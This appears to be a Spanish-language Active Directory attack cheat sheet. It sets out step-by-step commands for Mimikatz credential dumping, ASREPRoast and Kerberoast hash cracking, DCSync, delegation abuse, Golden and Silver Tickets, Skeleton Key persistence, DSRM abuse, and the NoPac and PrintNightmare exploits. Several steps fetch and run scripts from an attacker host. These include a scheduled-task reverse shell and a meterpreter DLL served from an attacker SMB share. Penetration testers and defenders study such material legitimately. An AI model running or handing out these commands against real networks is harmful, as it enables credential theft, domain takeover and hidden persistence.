El usuario no está sujeto a la política de contraseñas, lo que significa que podría tener una contraseña más corta o ninguna contraseña (si se permiten contraseñas vacías en el dominio).

```powershell
# PowerView
Get-DomainUser -UACFilter PASSWD_NOTREQD | Select-Object SamAccountName, UserAccountControl
```


# Credential dumping

## Invoke-Mimikatz

Uso general.

```powershell
Invoke-Mimikatz
```

Utilizando PowerShell remoting.

```powershell
IEX (iwr http://<IP-address>:<port>/Invoke-Mimikatz.ps1 -UseBasicParsing)
$session = New-PSSession -ComputerName <computer-name>
Invoke-Command -Session $session -ScriptBlock ${function:Invoke-Mimikatz}
```

PowerShell Constrained Language Mode (CLM).

```powershell
# Obtener modo de lenguaje de PowerShell
$ExecutionContext.SessionState.LanguageMode

# Transferencia de Invoke-MimikatzAutoExec.ps1
Invoke-WebRequest -Uri "http://<IP-address>:<port>/Invoke-MimikatzAutoExec.ps1" -OutFile "C:\<path>\Invoke-MimikatzAutoExec.ps1"

# Ejecución de Invoke-MimikatzAutoExec.ps1
.\Invoke-MimikatzAutoExec.ps1
```


# Usuarios y grupos

## Autenticación de usuario contra el dominio

```powershell
$UserPassword = ConvertTo-SecureString "<password>" -AsPlainText -Force
$UserCredential = New-Object System.Management.Automation.PSCredential("<ACME.LOCAL>/<user>", $UserPassword)
```

## Cambio de contraseña de usuario de dominio

Autenticación de usuario contra el dominio.

```powershell
$UserPassword = ConvertTo-SecureString "<password>" -AsPlainText -Force
$UserCredential = New-Object System.Management.Automation.PSCredential("<ACME.LOCAL>/<user>", $UserPassword)
```

Importación de módulo PowerView.

```powershell
Import-Module .\PowerView.ps1
```

Cambio de contraseña de usuario de dominio.

```powershell
$NewUserPassword = ConvertTo-SecureString "<new-user-password>" -AsPlainText -Force
Set-DomainUserPassword -Identity "<user>" -AccountPassword $NewUserPassword -Credential $UserCredential -Verbose
```

## Agregar y eliminar usuario a grupo de dominio

Autenticación de usuario contra el dominio.

```powershell
$UserPassword = ConvertTo-SecureString "<password>" -AsPlainText -Force
$UserCredential = New-Object System.Management.Automation.PSCredential("<ACME.LOCAL>/<user>", $UserPassword)
```

Importación de módulo PowerView.

```powershell
Import-Module .\PowerView.ps1
```

Agrega usuario a grupo de dominio.

```powershell
Add-DomainGroupMember -Identity "<group-name>" -Members "<user>" -Credential $UserCredential -Verbose
```

Eliminar usuario de un grupo de dominio.

```powershell
Remove-DomainGroupMember -Identity "<group-name>" -Members "<user>" -Credential $UserCredential -Verbose
```

Confirmación de eliminación de usuario de un grupo de dominio.

```powershell
Get-DomainGroupMember -Identity "<group-name>" | Select MemberName |? {$_.MemberName -eq "<user>"} -Verbose
```

## Creación de Service Principal Names (SPN) falso

Autenticación de usuario contra el dominio.

```powershell
$UserPassword = ConvertTo-SecureString "<password>" -AsPlainText -Force
$UserCredential = New-Object System.Management.Automation.PSCredential("<ACME.LOCAL>/<user>", $UserPassword)
```

Creación de Service Principal Names (SPN) falso.

```powershell
Set-DomainObject -Credential $UserCredential -Identity "<user>" -SET @{serviceprincipalname='SPN/fake'} -Verbose
```

Obtener Ticket Granting Service (TGS).

```shell
.\Rubeus.exe kerberoast /user:<user> /nowrap
```

Cracking de Ticket Granting Service (TGS).

```shell
# RC4 / $krb5tgs$23$
hashcat -m 13100 tgs.txt <path-wordlist>
# AES-128 / $krb5tgs$17$
hashcat -m 19600 tgs.txt <path-wordlist>
# AES-256 / $krb5tgs$18$
hashcat -m 19700 tgs.txt <path-wordlist>
```

Eliminación de Service Principal Names (SPN) falso.

```powershell
Set-DomainObject -Credential $UserCredential -Identity "<user>" -Clear serviceprincipalname -Verbose
```


# ASREPRoast

## Descripción

Es posible obtener el Ticket Granting Ticket (TGT) para cualquier cuenta que tenga habilitada la configuración "Do not require Kerberos pre-authentication" (`DONT_REQ_PREAUTH`).

## Linux/Unix

Enumeración de usuarios con `DONT_REQ_PREAUTH` habilitado.

### Kerbrute

```shell
kerbrute userenum -d <ACME.LOCAL> --dc <IP-address-DC> <wordlists>
```

* \<wordlists> = ruta de wordlist de nombres de usuarios de dominio.

### Impacket

```shell
GetNPUsers.py <ACME.LOCAL>/ -dc-ip <IP-address-DC> -no-pass -usersfile valid-ad-users.txt
```

### Hashcat

Cracking de AS-REP.

```shell
hashcat -m 18200 as-rep.txt <path-wordlist>
```

### John the Ripper

Cracking de AS-REP.

```shell
john as-rep.txt --format:krb5asrep --wordlist=<path-wordlist>
```

## Windows

Enumeración de usuarios con `DONT_REQ_PREAUTH` habilitado.

```powershell
# PowerView
Get-DomainUser -PreauthNotRequired | select SamAccountName, UserPrincipalName, UserAccountControl | fl

# Módulo ActiveDirectory PowerShell
Get-ADUser -Filter {DoesNotRequirePreAuth -eq $True} -Properties DoesNotRequirePreAuth
```

Obtención de AS-REP de usuario.

```shell
# Rubeus
.\Rubeus.exe asreproast /user:<user> /nowrap /format:hashcat

# ASREPRoast.ps1
Get-ASREPHash -UserName <user> -Verbose
```

Obtención de AS-REP de todos los usuarios.

```powershell
# ASREPRoast.ps1
Invoke-ASREPRoast -Verbose
```

Habilitar configuración "Do not require Kerberos pre-authentication" (`DONT_REQ_PREAUTH`) para un usuario.

```powershell
# PowerView
Set-DomainObject -Identity <user> -XOR @{useraccountcontrol=4194304} –Verbose
```


# Kerberoast

## Descripción

Este ataque tiene como objetivo las cuentas Service Principal Names (SPN). Los SPN son identificadores únicos que utiliza Kerberos para asignar una instancia de servicio a una cuenta de servicio en cuyo contexto se ejecuta el servicio. Cualquier usuario de dominio puede solicitar un ticket de Kerberos para cualquier cuenta de servicio en el dominio. También es posible entre bosque (forest) si se permite la autenticación a través de las relaciones de confianza.&#x20;

Para realizar un ataque de Kerberoast se necesita la contraseña de una cuenta de usuario de dominio (o hash NTLM), una shell en el contexto de una cuenta de usuario de dominio o acceso con privilegios de NT AUTHORITY\SYSTEM a un host unido al dominio.&#x20;

La obtención de un Ticket Granting Service (TGS) para una cuenta con un SPN no permite ejecutar comandos en el contexto de esta cuenta. Sin embargo, el ticket está encriptado con el hash NTLM de la cuenta de servicio, por lo que la contraseña sin cifrar se puede obtenerse potencialmente sometiéndola a un ataque de fuerza bruta (offline) con una herramienta como Hashcat. Las cuentas de dominio que ejecutan servicios suelen ser administradores locales o cuentas de dominio con altos privilegios.

## Linux/Unix

### Impacket

Obtener cuentas Service Principal Names (SPN).

```shell
GetUserSPNs.py -dc-ip <IP-address-DC> <ACME.LOCAL>/<user>
```

Obtener Ticket Granting Service (TGS).

```shell
GetUserSPNs.py -dc-ip <IP-address-DC> <ACME.LOCAL>/<user> -request
GetUserSPNs.py -dc-ip <IP-address-DC> <ACME.LOCAL>/<user> -request -outputfile tgs.txt
```

Obtener Ticket Granting Service (TGS) de una cuenta.

```shell
GetUserSPNs.py -dc-ip <IP-address-DC> <ACME.LOCAL>/<user> -request-user <user-SPN>
GetUserSPNs.py -dc-ip <IP-address-DC> <ACME.LOCAL>/<user> -request-user <user-SPN> -outputfile tgs-user.txt
```

### Hashcat

Cracking de Ticket Granting Service (TGS).

#### RC4

```shell
# $krb5tgs$23$
hashcat -m 13100 tgs.txt <path-wordlist>
hashcat -m 13100 tgs.txt --show
```

#### AES-128

```shell
# $krb5tgs$17$
hashcat -m 19600 tgs.txt <path-wordlist>
hashcat -m 19600 tgs.txt --show
```

#### AES-256

```shell
# $krb5tgs$18$
hashcat -m 19700 tgs.txt <path-wordlist>
hashcat -m 19700 tgs.txt --show
```

## Windows

### Método manual

Obtener cuentas Service Principal Names (SPN).

```shell
setspn.exe -Q */*
```

Obtener Ticket Granting Service (TGS) y cargar en memoria.

```powershell
# Obtener Ticket Granting Service (TGS) de una cuenta
Add-Type -AssemblyName System.IdentityModel
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "<user-SPN>"

# Obtener Ticket Granting Service (TGS) de todas las cuentas
Add-Type -AssemblyName System.IdentityModel
setspn.exe -T <ACME.LOCAL> -Q */* | Select-String '^CN' -Context 0,1 | % { New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $_.Context.PostContext[0].Trim() }
```

Extraer Ticket Granting Service (TGS) desde memoria con Mimikatz.

```shell
.\mimikatz.exe
base64 /out:true
kerberos::list /export
```

Preparación de Ticket Granting Service (TGS) para cracking.

```shell
echo "<base64>" |  tr -d \\n | base64 -d > tgs-user.kirbi
kirbi2john tgs-user.kirbi
sed 's/\$krb5tgs\$\(.*\):\(.*\)/\$krb5tgs\$23\$\*\1\*\$\2/' tgs-user.kirbi > tgs-user-hashcat.txt
```

### Módulo ActiveDirectory PowerShell

Obtener cuentas Service Principal Names (SPN).

```powershell
Get-ADUser -Filter {ServicePrincipalName -ne "$null"} -Properties ServicePrincipalName
```

Obtener Ticket Granting Service (TGS) de una cuenta.

```powershell
Add-Type -AssemblyName System.IdentityModel
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "<user-SPN>"
klist
```

Exportar todos los Ticket Granting Service (TGS) con Invoke-Mimikatz.

```powershell
 Invoke-Mimikatz -Command '"kerberos::list /export"'
```

Cracking de Ticket Granting Service (TGS).

```shell
python.exe .\tgsrepcrack.py .\<path-wordlist> .\<tgs.kirbi>
```

### PowerView

Obtener cuentas Service Principal Names (SPN).

```powershell
Get-DomainUser * -SPN | select SamAccountName
```

Obtener Ticket Granting Service (TGS) de una cuenta.

```powershell
Get-DomainUser -Identity <user-SPN> | Get-DomainSPNTicket -Format Hashcat
```

Obtener Ticket Granting Service (TGS) de todas las cuentas y guardar en archivo.

```powershell
Get-DomainUser * -SPN | Get-DomainSPNTicket -Format Hashcat | Export-Csv .\tgs.csv -NoTypeInformation
```

### Rubeus

Obtener estadísticas de usuarios.

```shell
.\Rubeus.exe kerberoast /stats
```

Obtener Ticket Granting Service (TGS).

```shell
.\Rubeus.exe kerberoast /nowrap
.\Rubeus.exe kerberoast /ldapfilter:'admincount=1' /nowrap
```

Obtener Ticket Granting Service (TGS) de una cuenta.

```shell
.\Rubeus.exe kerberoast /user:<user> /nowrap
```

Obtener Ticket Granting Service (TGS) con cifrado RC4 para una cuenta.

```shell
.\Rubeus.exe kerberoast /tgtdeleg /user:<user> /nowrap
```


# DCSync

## Descripción

Para realizar un ataque de DCSync se debe tener control sobre una cuenta que tenga privilegios para realizar replicación de dominio:&#x20;

* Replicating Directory Changes
* Replicating Directory Changes All

Los administradores de dominio tienen este privilegio de forma predeterminada.

## Verificar privilegios de replicación de dominio

Verificación de privilegios de replicación de dominio para un usuario.

```powershell
# PowerView
$sid = Convert-NameToSid <user>
Get-ObjectAcl "DC=ACME,DC=LOCAL" -ResolveGUIDs | ? { ($_.ObjectAceType -match 'Replication-Get')} | ?{$_.SecurityIdentifier -match $sid} | Select AceQualifier, ObjectDN, ActiveDirectoryRights, SecurityIdentifier, ObjectAceType | fl
```

## Almacenamiento de contraseña de cifrado reversible

### Módulo ActiveDirectory PowerShell

```powershell
Get-ADUser -Filter 'userAccountControl -band 128' -Properties userAccountControl
```

### PowerView

```powershell
Get-DomainUser -Identity * | ? {$_.useraccountcontrol -like '*ENCRYPTED_TEXT_PWD_ALLOWED*'} | Select SamAccountName, UserAccountControl
```

## Impacket

Obtención de todos los hashes del dominio.

```shell
secretsdump.py -outputfile hashes.txt -just-dc <ACME.LOCAL>/<user>@<IP-address-DC>
```

Obtención de hashes de un usuario del dominio.

```shell
secretsdump.py -outputfile hashes.txt -just-dc <ACME.LOCAL>/<user>@<IP-address-DC> -just-dc-user <username> -pwd-last-set -user-status -history
```

## Mimikatz

Obtención de hashes de un usuario del dominio.

```shell
.\mimikatz.exe
lsadump::dcsync /user:<ACME.LOCAL>\<user>
# Usuario KRBTGT
lsadump::dcsync /user:<ACME.LOCAL>\krbtgt
```

## Invoke-Mimikatz

Obtención de hashes de un usuario del dominio.

```powershell
# Usuario
Invoke-Mimikatz -Command '"lsadump::dcsync /user:<ACME.LOCAL>\<user>"'
# Usuario KRBTGT
Invoke-Mimikatz -Command '"lsadump::dcsync /user:<ACME.LOCAL>\krbtgt"'
```


# Unconstrained delegation

## Descripción

La delegación es el acto de dar a alguien autoridad o responsabilidad para hacer algo en nombre de otra persona. En Active Directory, la delegación es una característica que permite que cuentas específicas (usuario o computadora) se hagan pasar por otras cuentas para acceder a servicios particulares en la red.

Unconstrained delegation es un privilegio que los administradores de dominio pueden asignar a una computadora o un usuario del dominio.&#x20;

El controlador de dominio coloca el TGT (Ticket Granting Ticket) del usuario dentro del TGS (Ticket Granting Service) solicitado por él. Cuando el TGS se presenta al servidor que tiene el privilegio de unconstrained delegation este extrae el TGT del usuario desde el TGS y el servidor almacena en su memoria el TGT. De esta forma, el servidor puede reutilizar el TGT del usuario para acceder a cualquier otro recurso como el usuario.

Un atacante con acceso al servidor podría volcar todos los TGT de los usuarios que se encuentren almacenados en la memoria del servidor.

## Windows

1\) Obtener servidores con privilegio de unconstrained delegation.

```powershell
# PowerView
Get-DomainComputer -Unconstrained | Select -ExpandProperty Name

# Módulo ActiveDirectory PowerShell
Get-ADComputer -Filter {TrustedForDelegation -eq $True}
```

2\) Acceso a servidor con privilegio de unconstrained delegation y obtención de TGT (Ticket Granting Ticket) almacenados en memoria.

```powershell
$session = New-PSSession -ComputerName <computer-name>
Invoke-Command -FilePath C:\<path>\Invoke-Mimikatz.ps1 -Session $session
Enter-PSSession -Session $session
Invoke-Mimikatz -Command '"sekurlsa::tickets /export"'
```

3\) Realización de Pass the Ticket (PtT).

```powershell
Invoke-Mimikatz -Command '"kerberos::ptt ticket.kirbi"'
Invoke-Command -ComputerName <computer-name> -ScriptBlock {hostname; whoami; ipconfig}
```


# Constrained delegation

## Descripción

La delegación es el acto de dar a alguien autoridad o responsabilidad para hacer algo en nombre de otra persona. En Active Directory, la delegación es una característica que permite que cuentas específicas (usuario o computadora) se hagan pasar por otras cuentas para acceder a servicios particulares en la red.

Constrained delegation es un privilegio que los administradores de dominio pueden asignar a una computadora o un usuario del dominio. Cuando se establece en una cuenta ocurre que:

* El atributo UserAccountControl para el objeto se actualiza con el indicador `TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION`.&#x20;
* El atributo `msDS-AllowedToDelegateTo` se completa con los servicios específicos (SPN) que se pueden acceder (lista de delegación permitida) en nombre de otro usuario.

Al comprometer una cuenta de usuario con privilegios de constrained delegation es posible solicitar TGS (Ticket Granting Service) en nombre de otros usuarios del dominio.

## Windows

1\) Obtener usuarios y servidores con privilegios de constrained delegation.

```powershell
# PowerView
# enumeración de usuarios
Get-DomainUser –TrustedToAuth
Get-DomainUser –TrustedToAuth | Select SamAccountName, msDS-AllowedToDelegateTo, UserAccountControl | fl
# enumeración de servidores
Get-DomainComputer –TrustedToAuth
Get-DomainComputer –TrustedToAuth | Select SamAccountName, msDS-AllowedToDelegateTo, UserAccountControl | fl
```

2\) Obtención de TGT (Ticket Granting Ticket) de cuenta comprometida.

```shell
.\Rubeus.exe asktgt /user:<user> /domain:<ACME.LOCAL> /rc4:<NT-hash-user> /outfile:tgt.kirbi
```

3\) Obtención de TGS (Ticket Granting Service) para un servicio específico permitido en nombre de otro usuario del dominio (suplantación) y realización de Pass the Ticket (PtT).

```shell
.\Rubeus.exe s4u /ticket:<tgt.kirbi> /impersonateuser:<impersonate-user> /msdsspn:"<service>" /ptt
```

4\) Obtención de TGS (Ticket Granting Service) para un servicio específico alternativo (no permitido) en nombre de otro usuario del dominio (suplantación) y realización de Pass the Ticket (PtT).

```shell
.\Rubeus.exe s4u /ticket:<tgt.kirbi> /impersonateuser:<impersonate-user> /msdsspn:"<service>" /altservice:<alternative-service> /ptt
```


# Kerberoast

## Linux/Unix

### Impacket

Obtener cuentas Service Principal Names (SPN) del dominio objetivo.

```shell
GetUserSPNs.py -target-domain <TARGET.ACME.LOCAL> <ACME.LOCAL>/<user>
```

Obtener Ticket Granting Service (TGS) del dominio objetivo.

```shell
GetUserSPNs.py -target-domain <TARGET.ACME.LOCAL> <ACME.LOCAL>/<user> -request
GetUserSPNs.py -target-domain <TARGET.ACME.LOCAL> <ACME.LOCAL>/<user> -request -outputfile tgs.txt
```

Obtener Ticket Granting Service (TGS) de una cuenta en el dominio objetivo.

```shell
GetUserSPNs.py -target-domain <TARGET.ACME.LOCAL> <ACME.LOCAL>/<user> -request-user <user-SPN>
GetUserSPNs.py -target-domain <TARGET.ACME.LOCAL> <ACME.LOCAL>/<user> -request-user <user-SPN> -outputfile tg
```

## Windows

### PowerView

Obtener cuentas Service Principal Names (SPN) del dominio objetivo.

```powershell
Get-DomainUser -SPN -Domain <ACME.LOCAL> | select SamAccountName
```

Enumeración de grupos a los cuales pertence la cuenta Service Principal Names (SPN) en el dominio objetivo.

```powershell
Get-DomainUser -Domain <ACME.LOCAL> -Identity <user-SPN> | select SamAccountName, MemberOf
```

### Rubeus

Obtener estadísticas de usuarios del dominio objetivo.

```shell
.\Rubeus.exe kerberoast /domain:<ACME.LOCAL> /stats
```

Obtener Ticket Granting Service (TGS) del dominio objetivo.

```shell
.\Rubeus.exe kerberoast /domain:<ACME.LOCAL> /nowrap
.\Rubeus.exe kerberoast /domain:<ACME.LOCAL> /ldapfilter:'admincount=1' /nowrap
```

Obtener Ticket Granting Service (TGS) de una cuenta en el dominio objetivo.

```shell
.\Rubeus.exe kerberoast /domain:<ACME.LOCAL> /user:<user> /nowrap
```


# Foreign group membership

## Descripción

Enumeración de grupos con usuarios que no pertenecen al dominio.

## Windows

### PowerView

Obtener grupos con usuarios que no pertecencen al dominio en el dominio objetivo.

```powershell
Get-DomainForeignGroupMember -Domain <ACME.LOCAL>
```

Obtener cuenta de usuario a partir del SID.

```powershell
Convert-SidToName <SID>
```

### Windows Remote Management (WinRM)

#### PowerShell remoting

```powershell
Enter-PSSession -ComputerName <computer-name> -Credential <ACME.LOCAL>\<user>
```


# SID History

## Descripción

Este ataque permite el compromiso de un dominio principal una vez que el dominio secundario ha sido comprometido.&#x20;

Dentro de un mismo bosque de Active Directory, la propiedad `sIDHistory` se respeta cuando no existe la protección de filtrado SID, por lo tanto, si un usuario en un dominio secundario tiene en su `sIDHistory` establecido el grupo Enterprise Admins (que solo existe en el dominio principal), se lo trata como miembro de este grupo, lo que permite el acceso administrativo a todo el bosque.&#x20;

Es decir, podemos crear un Golden Ticket desde el dominio secundario comprometido para comprometer el dominio principal.

## Linux/Unix

1\) Obtención de hash NT de usuario KRBTGT de dominio secundario utilizando Impacket (secretsdump).

```shell
# impacket-secretsdump
secretsdump.py <SECONDARY.ACME.LOCAL>/<user>:"<password>"@<IP-address-DC-secondary> -just-dc-user <SECONDARY>\krbtgt
```

2\) Obtención de SID del dominio secundario utilizando Impacket (lookupsid).

```shell
# impacket-lookupsid
lookupsid.py <SECONDARY.ACME.LOCAL>/<user>:"<password>"@<IP-address-DC-secondary> | grep "Domain SID"
```

3\) Obtención de SID del grupo "Enterprise Admins" del dominio principal utilizando Impacket (lookupsid).

```shell
# impacket-lookupsid
lookupsid.py <SECONDARY.ACME.LOCAL>/<user>:"<password>"@<IP-address-DC> | grep -B12 "Enterprise Admins"
```

* SID grupo "Enterprise Admins": `Domain SID-Enterprise Admins RID`

4\) Creación de Golden Ticket con Impacket (ticketer).

```shell
# impacket-ticketer
ticketer.py -nthash <NT-hash-user-KRBTGT> -domain <SECONDARY.ACME.LOCAL> -domain-sid <SID-secondary-domain> -extra-sid <SID-Enterprise-Admins-group> Administrator
```

5\) Configuración de la variable de entorno KRB5CCNAME con Golden Ticket.

```shell
export KRB5CCNAME=Administrator.ccache
```

6\) Obtención de shell utilizando Impacket (psexec).

```shell
# impacket-psexec
psexec.py <SECONDARY.ACME.LOCAL>/Administrator@<DC01.ACME.LOCAL> -k -no-pass -target-ip <IP-address-DC>
```

7\) Escala de privilegios desde el dominio secundario al dominio principal de forma automatizada utilizando Impacket (raiseChild).

```shell
# impacket-raiseChild
raiseChild.py -target-exec <IP-address-DC> <SECONDARY.ACME.LOCAL>/<user>:"<password>"
```

## Windows

1\) Obtención de hash NT de usuario KRBTGT de dominio secundario utilizando Mimikatz.

```shell
.\mimikatz.exe
lsadump::dcsync /user:<SECONDARY>\krbtgt
```

2\) Obtención de SID del dominio secundario (actual) utilizando PowerView.

```powershell
Get-DomainSID
```

3\) Obtención de SID del grupo "Enterprise Admins" del dominio principal.

```powershell
# PowerView
Get-DomainGroup -Domain <ACME.LOCAL> -Identity "Enterprise Admins" | select distinguishedname, objectsid

# Módulo ActiveDirectory PowerShell
Get-ADGroup -Identity "Enterprise Admins" -Server "<ACME.LOCAL>"
```

4\) Creación de Golden Ticket con Mimikatz.

4.1) Inyectar Golden Ticket en la sesión actual.

```shell
.\mimikatz.exe
kerberos::golden /user:Administrator /domain:<SECONDARY.ACME.LOCAL> /sid:<SID-secondary-domain> /krbtgt:<NT-hash-user-KRBTGT> /sids:<SID-Enterprise-Admins-group> /ptt
```

Verificar inyección de Golden Ticket en la sesión actual.

```shell
klist
dir \\<DC01.ACME.LOCAL>\C$
```

4.2) Exportar Golden Ticket.

```shell
.\mimikatz.exe
kerberos::golden /user:Administrator /domain:<SECONDARY.ACME.LOCAL> /sid:<SID-secondary-domain> /krbtgt:<NT-hash-user-KRBTGT> /sids:<SID-Enterprise-Admins-group> /ticket:golden-ticket.kirbi
```

Importar Golden Ticket en sesión con Rubeus.

```shell
.\Rubeus.exe createnetonly /program:cmd.exe /show
.\Rubeus.exe ptt /ticket:golden-ticket.kirbi
dir \\<DC01.ACME.LOCAL>\C$
```

5\) Creación de Golden Ticket con Rubeus.

5.1) Inyectar Golden Ticket en la sesión actual.

```shell
.\Rubeus.exe golden /rc4:<NT-hash-user-KRBTGT> /domain:<SECONDARY.ACME.LOCAL> /sid:<SID-secondary-domain> /sids:<SID-Enterprise-Admins-group> /user:Administrator /ptt
```

Verificar inyección de Golden Ticket en la sesión actual.

```shell
klist
dir \\<DC01.ACME.LOCAL>\C$
```


# Golden Ticket

## Descripción

Un Golden Ticket es un Ticket Granting Ticket (TGT) falsificado, firmado por la cuenta KRBTGT del dominio.

## Windows

### Mimikatz

1\) Obtención de hash NT de usuario KRBTGT con Mimikatz.

```shell
.\mimikatz.exe
lsadump::dcsync /user:<ACME.LOCAL>\krbtgt
```

2\) Obtención de SID del dominio (actual).

```powershell
# PowerView
Get-DomainSID
```

3\) Creación de Golden Ticket con Mimikatz.

```shell
.\mimikatz.exe
kerberos::golden /user:Administrator /domain:<ACME.LOCAL> /sid:<SID-domain> /krbtgt:<NT-hash-user-KRBTGT> /ticket:golden-ticket.kirbi
```

4\) Importar Golden Ticket en sesión con Rubeus.

```shell
.\Rubeus.exe createnetonly /program:cmd.exe /show
.\Rubeus.exe ptt /ticket:golden-ticket.kirbi
dir \\<DC01.ACME.LOCAL>\C$
```

### Invoke-Mimikatz

1\) Obtención de hash NT de usuario KRBTGT y SID del dominio con Invoke-Mimikatz.

```powershell
$session = New-PSSession -ComputerName <computer-name-DC>
Invoke-Command -FilePath C:\<path>\Invoke-Mimikatz.ps1 -Session $session
Enter-PSSession -Session $session
Invoke-Mimikatz -Command '"lsadump::lsa /patch"'
```

2\) Creación de Golden Ticket con Invoke-Mimikatz.

```powershell
# Inyecta el ticket en el proceso actual de PowerShell
Invoke-Mimikatz -Command '"kerberos::golden /user:Administrator /domain:<ACME.LOCAL> /sid:<SID-domain> /krbtgt:<NT-hash-user-KRBTGT> /ptt"'

# Realiza el guardado del Golden Ticket
Invoke-Mimikatz -Command '"kerberos::golden /user:Administrator /domain:<ACME.LOCAL> /sid:<SID-domain> /krbtgt:<NT-hash-user-KRBTGT> /ticket:golden-ticket.kirbi"'
```

3\) Importar Golden Ticket en sesión con Rubeus.

```shell
.\Rubeus.exe createnetonly /program:cmd.exe /show
.\Rubeus.exe ptt /ticket:golden-ticket.kirbi
dir \\<DC01.ACME.LOCAL>\C$
```


# Silver Ticket

## Windows

### Invoke-Mimikatz

1\) Obtención de hash NT de la cuenta del host del controlador de dominio (RID: 000003e8 / 1000) y SID del dominio con Invoke-Mimikatz.

```powershell
$session = New-PSSession -ComputerName <computer-name-DC>
Invoke-Command -FilePath C:\<path>\Invoke-Mimikatz.ps1 -Session $session
Enter-PSSession -Session $session
Invoke-Mimikatz -Command '"lsadump::lsa /patch"'
```

2\) Creación de Silver Ticket de servicio CIFS con Invoke-Mimikatz.

```powershell
# Creación de Silver Ticket
Invoke-Mimikatz -Command '"kerberos::golden /domain:<ACME.LOCAL> /sid:<SID-domain> /target:<DC01.ACME.LOCAL> /service:CIFS /rc4:<NT-hash-computer-DC> /user:Administrator /ptt"'

# Lectura de archivos
dir \\<DC01.ACME.LOCAL>\C$
```

3\) Creación de Silver Ticket de servicio HOST con Invoke-Mimikatz.

```powershell
# Creación de Silver Ticket
Invoke-Mimikatz -Command '"kerberos::golden /domain:<ACME.LOCAL> /sid:<SID-domain> /target:<DC01.ACME.LOCAL> /service:HOST /rc4:<NT-hash-computer-DC> /user:Administrator /ptt"'

# Reverse shell desde tarea programada
schtasks /create /S <DC01.ACME.LOCAL> /SC Weekly /RU "NT Authority\SYSTEM" /TN "TaskReverseShell" /TR "powershell.exe -c 'IEX (New-Object Net.WebClient).DownloadString(''http://<attacker-IP-address>:80/Invoke-PowerShellTcpAutoExec.ps1''')'"
powercat -l -v -p <listen-port>
schtasks /Run /S <DC01.ACME.LOCAL> /TN "TaskReverseShell"
```


# Skeleton Key

## Descripción

Skeleton Key es un ataque de persistencia que se inyecta en el proceso LSASS (Local Security Authority Subsystem Service) y crea una contraseña maestra que funcionará para cualquier cuenta de dominio. Las contraseñas existentes seguirán funcionando, por lo que es difícil saber si se ha producido este ataque. Al reiniciar el controlador de dominio se eliminarán los cambios realizados por dicho ataque, el cual, para poder perpetrarlo se debe tener una cuenta con privilegios de administrador de dominio.

## Invoke-Mimikatz

1\) Ejecución de ataque Skeleton Key utilizando Invoke-Mimikatz.

```powershell
Invoke-Mimikatz -Command '"privilege::debug" "misc::skeleton"' -ComputerName <DC01.ACME.LOCAL>
```

2\) PowerShell remoting al host administrador del dominio con usuario Administrator y contraseña por defecto mimikatz.

```powershell
$UserPassword = ConvertTo-SecureString "mimikatz" -AsPlainText -Force
$UserCredential = New-Object System.Management.Automation.PSCredential ("<ACME.LOCAL>\Administrator", $UserPassword)
Enter-PSSession -ComputerName <DC01.ACME.LOCAL> -Credential $UserCredential
```


# Directory Services Restore Mode (DSRM)

## Descripción

Existe un administrador local en cada controlador de dominio, cuya contraseña corresponde a la ingresada en la opción de Directory Services Restore Mode (DSRM) al momento de instalar el servicio de Active Directory. Realizando una modificación al registro de Windows es posible activar dicha contraseña, para luego extraer su hash NT y acceder al controlador de dominio como administrador local utilizando Pass the Hash (PtH).

## Invoke-Mimikatz

1\) Obtención de hash NT del administrador local del controlador de dominio con Invoke-Mimikatz.

```powershell
Invoke-Mimikatz -Command '"token::elevate" "lsadump::sam"' -Computername <computer-name-DC>
```

2\) Configuración de registro `DsrmAdminLogonBehavior` con valor 2.

```powershell
# Comprobación si existe registro DsrmAdminLogonBehavior
Get-ItemProperty "HKLM:\SYSTEM\CURRENTCONTROLSET\CONTROL\LSA" -name DsrmAdminLogonBehavior

# Creación de registro DsrmAdminLogonBehavior y asignación de valor 2 si no existe
New-ItemProperty "HKLM:\SYSTEM\CURRENTCONTROLSET\CONTROL\LSA" -name DsrmAdminLogonBehavior -value 2 -PropertyType DWORD

# Actualización de valor del registro DsrmAdminLogonBehavior a 2 si ya existe
Set-ItemProperty "HKLM:\SYSTEM\CURRENTCONTROLSET\CONTROL\LSA" -name DsrmAdminLogonBehavior -value 2
```

Pass the Hash (PtH) a controlador de dominio con sesión de administrador local.

```powershell
# Pass the Hash (PtH)
Invoke-Mimikatz -Command '"sekurlsa::pth /domain:<computer-name-DC> /user:Administrator /ntlm:<NT-hash-computer-DC> /run:powershell.exe"'

# Lectura de archivos
dir \\<computer-name-DC>\C$
```


# NoPac

CVE-2021-42278 / CVE-2021-42287

1\) Clonación de repositorio.

```shell
git clone https://github.com/Ridter/noPac.git
cd noPac
```

2\) Revisión si el objetivo es vulnerable.

```shell
scanner.py <ACME.LOCAL>/<user>:<password> -dc-ip <IP-address-DC> -use-ldap
```

3\) Obtención de shell.

```shell
noPac.py <ACME.LOCAL>/<user>:<password> -dc-ip <IP-address-DC> -dc-host <hostname-DC> -shell --impersonate administrator -use-ldap
```

4\) Realización de ataque de DCSync.

```shell
noPac.py <ACME.LOCAL>/<user>:<password> -dc-ip <IP-address-DC> -dc-host <hostname-DC> --impersonate administrator -use-ldap -dump -just-dc-user <ACME>/administrator
```


# PrintNightmare

CVE-2021-34527 / CVE-2021-1675

1\) Clonación de repositorio.

```shell
git clone https://github.com/cube0x0/CVE-2021-1675.git
```

Revisión si el objetivo es vulnerable.

* Print System Asynchronous Protocol.
* Print System Remote Protocol.

```shell
rpcdump.py @<IP-address-DC> | egrep 'MS-PAR|MS-RPRN'
```

2\) Generación de payload DLL.

```shell
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<attacker-IP-address> LPORT=<listen-local-port> -f dll > script.dll
```

3\) Creación de recurso compartido.

```shell
smbserver.py -smb2support share script.dll
```

4\) Configuración de listener (multi/handler) de reverse shell.

```shell
msfconsole
use exploit/multi/handler
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST <attacker-IP-address>
set LPORT <listen-local-port>
run -j
```

5\) Ejecución de exploit y obtención de reverse shell.

```shell
CVE-2021-1675.py <ACME.LOCAL>/<user>:<password>@<IP-address-DC> '\\<attacker-IP-address>\share\script.dll'
```


